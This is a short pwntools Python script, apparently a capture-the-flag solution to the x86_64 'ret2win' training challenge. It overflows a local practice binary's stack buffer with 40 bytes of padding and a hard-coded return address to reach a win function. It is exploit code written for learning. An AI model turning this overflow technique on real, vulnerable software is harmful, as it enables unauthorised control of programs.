x86_64/ret2win/exploit.py


1
2
3
4
5
6
7
8
9
10
11
12
13

#!/usr/bin/env python3
from pwn import *

prog = process('./ret2win')
payload = b''
for c in range(40):
    payload += b'a'

payload += p64(0x0000000000400756)
payload += b"\n"
prog.sendline(payload)
sleep(1)
print(str(prog.recv(), 'UTF-8'))